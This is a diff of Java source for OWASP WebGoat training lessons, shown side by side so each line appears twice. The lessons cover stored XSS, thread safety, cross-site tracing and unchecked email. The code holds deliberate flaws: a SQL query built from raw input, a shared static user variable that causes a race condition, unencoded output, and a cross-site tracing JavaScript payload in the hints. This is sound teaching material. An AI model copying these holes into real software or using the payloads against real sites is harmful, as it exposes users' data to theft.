TR row3 = new TR(new TD(new StringElement(WebGoatI18N.get("PostedBy")+":"))); TR row3 = new TR(new TD(new StringElement(WebGoatI18N.get("PostedBy")+":")));
row3.addElement(new TD(new StringElement(results.getString(USER_COL)))); row3.addElement(new TD(new StringElement(results.getString(USER_COL))));
t.addElement(row3); t.addElement(row3);
ec.addElement(t); ec.addElement(t);
// Some sanity checks that the script may be correct // Some sanity checks that the script may be correct
if (messageData.toLowerCase().indexOf("<script>") != -1 if (messageData.toLowerCase().indexOf("<script>") != -1
&& messageData.toLowerCase().indexOf("</script>") != -1 && messageData.toLowerCase().indexOf("</script>") != -1
&& messageData.toLowerCase().indexOf("alert") != -1) && messageData.toLowerCase().indexOf("alert") != -1)
{ {
makeSuccess(s); makeSuccess(s);
} }
} }
else else
{ {
if (messageNum != 0) if (messageNum != 0)
{ {
ec.addElement(new P().addElement(WebGoatI18N.get("CouldNotFindMessage") + messageNum)); ec.addElement(new P().addElement(WebGoatI18N.get("CouldNotFindMessage") + messageNum));
} }
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName()); s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element makeInput(WebSession s) protected Element makeInput(WebSession s)
{ {
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
TR row1 = new TR(); TR row1 = new TR();
TR row2 = new TR(); TR row2 = new TR();
row1.addElement(new TD(new StringElement(WebGoatI18N.get("Title")+": "))); row1.addElement(new TD(new StringElement(WebGoatI18N.get("Title")+": ")));
Input inputTitle = new Input(Input.TEXT, TITLE, ""); Input inputTitle = new Input(Input.TEXT, TITLE, "");
row1.addElement(new TD(inputTitle)); row1.addElement(new TD(inputTitle));
TD item1 = new TD(); TD item1 = new TD();
item1.setVAlign("TOP"); item1.setVAlign("TOP");
item1.addElement(new StringElement(WebGoatI18N.get("Message")+": ")); item1.addElement(new StringElement(WebGoatI18N.get("Message")+": "));
row2.addElement(item1); row2.addElement(item1);
TD item2 = new TD(); TD item2 = new TD();
TextArea ta = new TextArea(MESSAGE, 5, 60); TextArea ta = new TextArea(MESSAGE, 5, 60);
item2.addElement(ta); item2.addElement(ta);
row2.addElement(item2); row2.addElement(item2);
t.addElement(row1); t.addElement(row1);
t.addElement(row2); t.addElement(row2);
Element b = ECSFactory.makeButton(WebGoatI18N.get("Submit")); Element b = ECSFactory.makeButton(WebGoatI18N.get("Submit"));
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(t); ec.addElement(t);
ec.addElement(new P().addElement(b)); ec.addElement(new P().addElement(b));
return (ec); return (ec);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
public Element makeList(WebSession s) public Element makeList(WebSession s)
{ {
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
try try
{ {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
// edit by Chuck Willis - Added logic to associate similar usernames // edit by Chuck Willis - Added logic to associate similar usernames
// The idea is that users chuck-1, chuck-2, etc will see each other's messages // The idea is that users chuck-1, chuck-2, etc will see each other's messages
// but not anyone elses. This allows users to try out XSS to grab another user's // but not anyone elses. This allows users to try out XSS to grab another user's
// cookies, but not get confused by other users scripts // cookies, but not get confused by other users scripts
String query = "SELECT * FROM messages WHERE user_name LIKE ? and lesson_type = ?"; String query = "SELECT * FROM messages WHERE user_name LIKE ? and lesson_type = ?";
PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.setString(1, getNameroot(s.getUserName()) + "%"); statement.setString(1, getNameroot(s.getUserName()) + "%");
statement.setString(2, getClass().getName()); statement.setString(2, getClass().getName());
ResultSet results = statement.executeQuery(); ResultSet results = statement.executeQuery();
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
results.beforeFirst(); results.beforeFirst();
for (int i = 0; results.next(); i++) for (int i = 0; results.next(); i++)
{ {
A a = ECSFactory.makeLink(results.getString(TITLE_COL), NUMBER, results.getInt(NUM_COL)); A a = ECSFactory.makeLink(results.getString(TITLE_COL), NUMBER, results.getInt(NUM_COL));
TD td = new TD().addElement(a); TD td = new TD().addElement(a);
TR tr = new TR().addElement(td); TR tr = new TR().addElement(td);
t.addElement(tr); t.addElement(tr);
} }
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage(WebGoatI18N.get("ErrorGeneratingMessageList")); s.setMessage(WebGoatI18N.get("ErrorGeneratingMessageList"));
} }
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new H1(WebGoatI18N.get("MessageList"))); ec.addElement(new H1(WebGoatI18N.get("MessageList")));
ec.addElement(t); ec.addElement(t);
return (ec); return (ec);
} }
private static String getNameroot(String name) private static String getNameroot(String name)
{ {
String nameroot = name; String nameroot = name;
if (nameroot.indexOf('-') != -1) if (nameroot.indexOf('-') != -1)
{ {
nameroot = nameroot.substring(0, nameroot.indexOf('-')); nameroot = nameroot.substring(0, nameroot.indexOf('-'));
} }
return nameroot; return nameroot;
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
} }

View File

@ -49,153 +49,153 @@ import org.owasp.webgoat.session.*;
*/ */
public class ThreadSafetyProblem extends LessonAdapter public class ThreadSafetyProblem extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement( .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0)); .setVspace(0));
private final static String USER_NAME = "username"; private final static String USER_NAME = "username";
private static String currentUser; private static String currentUser;
private String originalUser; private String originalUser;
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
ec.addElement(new StringElement("Enter user name: ")); ec.addElement(new StringElement("Enter user name: "));
ec.addElement(new Input(Input.TEXT, USER_NAME, "")); ec.addElement(new Input(Input.TEXT, USER_NAME, ""));
currentUser = s.getParser().getRawParameter(USER_NAME, ""); currentUser = s.getParser().getRawParameter(USER_NAME, "");
originalUser = currentUser; originalUser = currentUser;
// Store the user name // Store the user name
String user1 = new String(currentUser); String user1 = new String(currentUser);
Element b = ECSFactory.makeButton("Submit"); Element b = ECSFactory.makeButton("Submit");
ec.addElement(b); ec.addElement(b);
ec.addElement(new P()); ec.addElement(new P());
if (!"".equals(currentUser)) if (!"".equals(currentUser))
{ {
Thread.sleep(1500); Thread.sleep(1500);
// Get the users info from the DB // Get the users info from the DB
String query = "SELECT * FROM user_system_data WHERE user_name = '" + currentUser + "'"; String query = "SELECT * FROM user_system_data WHERE user_name = '" + currentUser + "'";
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query); ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
ec.addElement("Account information for user: " + originalUser + "<br><br>"); ec.addElement("Account information for user: " + originalUser + "<br><br>");
ResultSetMetaData resultsMetaData = results.getMetaData(); ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData)); ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
} }
else else
{ {
s.setMessage("'" + currentUser + "' is not a user in the WebGoat database."); s.setMessage("'" + currentUser + "' is not a user in the WebGoat database.");
} }
} }
if (!user1.equals(currentUser)) if (!user1.equals(currentUser))
{ {
makeSuccess(s); makeSuccess(s);
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/** /**
* Gets the hints attribute of the ConcurrencyScreen object * Gets the hints attribute of the ConcurrencyScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Web applications handle many HTTP requests at the same time."); hints.add("Web applications handle many HTTP requests at the same time.");
hints.add("Developers use variables that are not thread safe."); hints.add("Developers use variables that are not thread safe.");
hints.add("Show the Java source code and trace the 'currentUser' variable"); hints.add("Show the Java source code and trace the 'currentUser' variable");
hints.add("Open two browsers and send 'jeff' in one and 'dave' in the other."); hints.add("Open two browsers and send 'jeff' in one and 'dave' in the other.");
return hints; return hints;
} }
/** /**
* Gets the instructions attribute of the ThreadSafetyProblem object * Gets the instructions attribute of the ThreadSafetyProblem object
* *
* @return The instructions value * @return The instructions value
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = "The user should be able to exploit the concurrency error in this web application " String instructions = "The user should be able to exploit the concurrency error in this web application "
+ "and view login information for another user that is attempting the same function " + "and view login information for another user that is attempting the same function "
+ "at the same time. <b>This will require the use of two browsers</b>. Valid user " + "at the same time. <b>This will require the use of two browsers</b>. Valid user "
+ "names are 'jeff' and 'dave'." + "<p>Please enter your username to access your account."; + "names are 'jeff' and 'dave'." + "<p>Please enter your username to access your account.";
return (instructions); return (instructions);
} }
private final static Integer DEFAULT_RANKING = new Integer(80); private final static Integer DEFAULT_RANKING = new Integer(80);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.CONCURRENCY; return Category.CONCURRENCY;
} }
/** /**
* Gets the title attribute of the ConcurrencyScreen object * Gets the title attribute of the ConcurrencyScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Thread Safety Problems"); return ("Thread Safety Problems");
} }
/** /**
* Constructor for the ConcurrencyScreen object * Constructor for the ConcurrencyScreen object
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
*/ */
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
try try
{ {
super.handleRequest(s); super.handleRequest(s);
} catch (Exception e) } catch (Exception e)
{ {
// System.out.println("Exception caught: " + e); // System.out.println("Exception caught: " + e);
e.printStackTrace(System.out); e.printStackTrace(System.out);
} }
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
} }

View File

@ -39,50 +39,50 @@ import org.owasp.webgoat.session.WebSession;
*/ */
public class TomcatSetup extends LessonAdapter public class TomcatSetup extends LessonAdapter
{ {
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
makeSuccess(s); makeSuccess(s);
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
return (ec); return (ec);
} }
/** /**
* Gets the category attribute of the HowToWork object * Gets the category attribute of the HowToWork object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.INTRODUCTION; return Category.INTRODUCTION;
} }
private final static Integer DEFAULT_RANKING = new Integer(11); private final static Integer DEFAULT_RANKING = new Integer(11);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the DirectoryScreen object * Gets the title attribute of the DirectoryScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Tomcat Configuration"); return ("Tomcat Configuration");
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement(""));
} }
} }

View File

@ -54,203 +54,203 @@ import org.owasp.webgoat.util.HtmlEncoder;
public class TraceXSS extends LessonAdapter public class TraceXSS extends LessonAdapter
{ {
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String regex1 = "^[0-9]{3}$";// any three digits String regex1 = "^[0-9]{3}$";// any three digits
Pattern pattern1 = Pattern.compile(regex1); Pattern pattern1 = Pattern.compile(regex1);
try try
{ {
String param1 = s.getParser().getRawParameter("field1", "111"); String param1 = s.getParser().getRawParameter("field1", "111");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999")); String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999"));
float quantity = 1.0f; float quantity = 1.0f;
float total = 0.0f; float total = 0.0f;
float runningTotal = 0.0f; float runningTotal = 0.0f;
// test input field1 // test input field1
if (!pattern1.matcher(param1).matches()) if (!pattern1.matcher(param1).matches())
{ {
if (param1.toLowerCase().indexOf("script") != -1 && param1.toLowerCase().indexOf("trace") != -1) if (param1.toLowerCase().indexOf("script") != -1 && param1.toLowerCase().indexOf("trace") != -1)
{ {
makeSuccess(s); makeSuccess(s);
} }
s.setMessage("Whoops! You entered " + param1 + " instead of your three digit code. Please try again."); s.setMessage("Whoops! You entered " + param1 + " instead of your three digit code. Please try again.");
} }
// FIXME: encode output of field2, then s.setMessage( field2 ); // FIXME: encode output of field2, then s.setMessage( field2 );
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart "))); ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%")); tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%")); tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("3%")); tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
tr.addElement(new TH().addElement("Total").setWidth("7%")); tr.addElement(new TH().addElement("Total").setWidth("7%"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry ")); tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("69.99").setAlign("right")); tr.addElement(new TD().addElement("69.99").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1", new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1",
"1"))) "1")))
.setAlign("right")); .setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY1", 1.0f); quantity = s.getParser().getFloatParameter("QTY1", 1.0f);
total = quantity * 69.99f; total = quantity * 69.99f;
runningTotal += total; runningTotal += total;
tr.addElement(new TD().addElement("$" + total)); tr.addElement(new TD().addElement("$" + total));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case")); tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement("27.99").setAlign("right")); tr.addElement(new TD().addElement("27.99").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2", new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2",
"1"))) "1")))
.setAlign("right")); .setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY2", 1.0f); quantity = s.getParser().getFloatParameter("QTY2", 1.0f);
total = quantity * 27.99f; total = quantity * 27.99f;
runningTotal += total; runningTotal += total;
tr.addElement(new TD().addElement("$" + total)); tr.addElement(new TD().addElement("$" + total));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel<65> Centrino<6E>")); tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel<65> Centrino<6E>"));
tr.addElement(new TD().addElement("1599.99").setAlign("right")); tr.addElement(new TD().addElement("1599.99").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3", new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3",
"1"))) "1")))
.setAlign("right")); .setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY3", 1.0f); quantity = s.getParser().getFloatParameter("QTY3", 1.0f);
total = quantity * 1599.99f; total = quantity * 1599.99f;
runningTotal += total; runningTotal += total;
tr.addElement(new TD().addElement("$" + total)); tr.addElement(new TD().addElement("$" + total));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over ")); tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement("299.99").setAlign("right")); tr.addElement(new TD().addElement("299.99").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4", new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4",
"1"))) "1")))
.setAlign("right")); .setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY4", 1.0f); quantity = s.getParser().getFloatParameter("QTY4", 1.0f);
total = quantity * 299.99f; total = quantity * 299.99f;
runningTotal += total; runningTotal += total;
tr.addElement(new TD().addElement("$" + total)); tr.addElement(new TD().addElement("$" + total));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
ec.addElement(new BR()); ec.addElement(new BR());
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("The total charged to your credit card:")); tr.addElement(new TD().addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("$" + runningTotal)); tr.addElement(new TD().addElement("$" + runningTotal));
tr.addElement(new TD().addElement(ECSFactory.makeButton("Update Cart"))); tr.addElement(new TD().addElement(ECSFactory.makeButton("Update Cart")));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2)); tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Enter your credit card number:")); tr.addElement(new TD().addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", param2))); tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", param2)));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Enter your three digit access code:")); tr.addElement(new TD().addElement("Enter your three digit access code:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1", param1))); tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1", param1)));
t.addElement(tr); t.addElement(tr);
Element b = ECSFactory.makeButton("Purchase"); Element b = ECSFactory.makeButton("Purchase");
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center")); tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center"));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/** /**
* DOCUMENT ME! * DOCUMENT ME!
* *
* @return DOCUMENT ME! * @return DOCUMENT ME!
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.XSS; return Category.XSS;
} }
/** /**
* Gets the hints attribute of the AccessControlScreen object * Gets the hints attribute of the AccessControlScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Most web servers support GET/POST. Many default installations also support TRACE"); hints.add("Most web servers support GET/POST. Many default installations also support TRACE");
hints.add("JavaScript has the ability to post a URL:<br>" hints.add("JavaScript has the ability to post a URL:<br>"
+ "&lt;script type=\"text/javascript\"&gt;if ( navigator.appName.indexOf(\"Microsoft\") !=-1)" + "&lt;script type=\"text/javascript\"&gt;if ( navigator.appName.indexOf(\"Microsoft\") !=-1)"
+ " {var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");xmlHttp.open(\"GET\", \"./\", false);" + " {var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");xmlHttp.open(\"GET\", \"./\", false);"
+ " xmlHttp.send();str1=xmlHttp.responseText; " + "document.write(str1);&lt;/script&gt;"); + " xmlHttp.send();str1=xmlHttp.responseText; " + "document.write(str1);&lt;/script&gt;");
hints.add("Try changing the HTTP GET to a HTTP TRACE"); hints.add("Try changing the HTTP GET to a HTTP TRACE");
hints hints
.add("Try a cross site trace (XST) Command:<br>" .add("Try a cross site trace (XST) Command:<br>"
+ "&lt;script type=\"text/javascript\"&gt;if ( navigator.appName.indexOf(\"Microsoft\") !=-1)" + "&lt;script type=\"text/javascript\"&gt;if ( navigator.appName.indexOf(\"Microsoft\") !=-1)"
+ " {var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");xmlHttp.open(\"TRACE\", \"./\", false);" + " {var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");xmlHttp.open(\"TRACE\", \"./\", false);"
+ " xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf(\"\\n\") > -1) str1 = str1.replace(\"\\n\",\"&lt;br&gt;\"); " + " xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf(\"\\n\") > -1) str1 = str1.replace(\"\\n\",\"&lt;br&gt;\"); "
+ "document.write(str1);}&lt;/script&gt;"); + "document.write(str1);}&lt;/script&gt;");
return hints; return hints;
} }
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp // <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp
// = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); // = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false);
// xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script> // xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script>
private final static Integer DEFAULT_RANKING = new Integer(130); private final static Integer DEFAULT_RANKING = new Integer(130);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the AccessControlScreen object * Gets the title attribute of the AccessControlScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Cross Site Tracing (XST) Attacks"); return ("Cross Site Tracing (XST) Attacks");
} }
} }

View File

@ -67,365 +67,365 @@ import org.owasp.webgoat.session.WebSession;
public class UncheckedEmail extends LessonAdapter public class UncheckedEmail extends LessonAdapter
{ {
private final String YOUR_REAL_GMAIL_PASSWORD = "password"; private final String YOUR_REAL_GMAIL_PASSWORD = "password";
private final String YOUR_REAL_GMAIL_ID = "GMail id"; private final String YOUR_REAL_GMAIL_ID = "GMail id";
private final static String MESSAGE = "msg"; private final static String MESSAGE = "msg";
private final static String HIDDEN_TO = "to"; private final static String HIDDEN_TO = "to";
private final static String SUBJECT = "subject"; private final static String SUBJECT = "subject";
private final static String GMAIL_ID = "gId"; private final static String GMAIL_ID = "gId";
private final static String GMAIL_PASS = "gPass"; private final static String GMAIL_PASS = "gPass";
private static final String SMTP_HOST_NAME = "smtp.gmail.com"; private static final String SMTP_HOST_NAME = "smtp.gmail.com";
private static final String SMTP_PORT = "465"; private static final String SMTP_PORT = "465";
private static final String emailFromAddress = "webgoat@owasp.org"; private static final String emailFromAddress = "webgoat@owasp.org";
private static final String SSL_FACTORY = "javax.net.ssl.SSLSocketFactory"; private static final String SSL_FACTORY = "javax.net.ssl.SSLSocketFactory";
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
String to = s.getParser().getRawParameter(HIDDEN_TO, ""); String to = s.getParser().getRawParameter(HIDDEN_TO, "");
String gId = s.getParser().getRawParameter(GMAIL_ID, ""); String gId = s.getParser().getRawParameter(GMAIL_ID, "");
String gPass = s.getParser().getRawParameter(GMAIL_PASS, ""); String gPass = s.getParser().getRawParameter(GMAIL_PASS, "");
String message = s.getParser().getRawParameter(MESSAGE, ""); String message = s.getParser().getRawParameter(MESSAGE, "");
String subject = s.getParser().getRawParameter(SUBJECT, ""); String subject = s.getParser().getRawParameter(SUBJECT, "");
boolean haveCredentials = !(YOUR_REAL_GMAIL_ID.equals(gId) || YOUR_REAL_GMAIL_PASSWORD.equals(gPass)); boolean haveCredentials = !(YOUR_REAL_GMAIL_ID.equals(gId) || YOUR_REAL_GMAIL_PASSWORD.equals(gPass));
ec.addElement(new HR()); ec.addElement(new HR());
createGoogleCredentials(s, ec); createGoogleCredentials(s, ec);
ec.addElement(new HR()); ec.addElement(new HR());
ec.addElement(new BR()); ec.addElement(new BR());
createMailMessage(s, subject, message, ec); createMailMessage(s, subject, message, ec);
ec.addElement(new HR()); ec.addElement(new HR());
if (to.length() > 0) if (to.length() > 0)
{ {
if (haveCredentials) if (haveCredentials)
{ {
Message sentMessage = sendGoogleMail(to, subject, message, emailFromAddress, gId, gPass); Message sentMessage = sendGoogleMail(to, subject, message, emailFromAddress, gId, gPass);
formatMail(ec, sentMessage); formatMail(ec, sentMessage);
} }
else else
{ {
sendSimulatedMail(ec, to, subject, message); sendSimulatedMail(ec, to, subject, message);
} }
} }
if (to.length() > 0 && "webgoat.admin@owasp.org".equals(to) && message.contains("<script")) if (to.length() > 0 && "webgoat.admin@owasp.org".equals(to) && message.contains("<script"))
{ {
s.setMessage("The attack worked! Now try to attack another person than the admin."); s.setMessage("The attack worked! Now try to attack another person than the admin.");
} }
// only complete the lesson if they changed the "to" hidden field and they send a // only complete the lesson if they changed the "to" hidden field and they send a
// script tag in the message // script tag in the message
if (to.length() > 0 && !"webgoat.admin@owasp.org".equals(to) && message.contains("<script")) if (to.length() > 0 && !"webgoat.admin@owasp.org".equals(to) && message.contains("<script"))
{ {
makeSuccess(s); makeSuccess(s);
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
private void formatMail(ElementContainer ec, Message sentMessage) private void formatMail(ElementContainer ec, Message sentMessage)
{ {
try try
{ {
ec.addElement(new Center().addElement(new B().addElement("You sent the following message to: " ec.addElement(new Center().addElement(new B().addElement("You sent the following message to: "
+ Arrays.asList(sentMessage.getAllRecipients())))); + Arrays.asList(sentMessage.getAllRecipients()))));
ec.addElement(new BR()); ec.addElement(new BR());
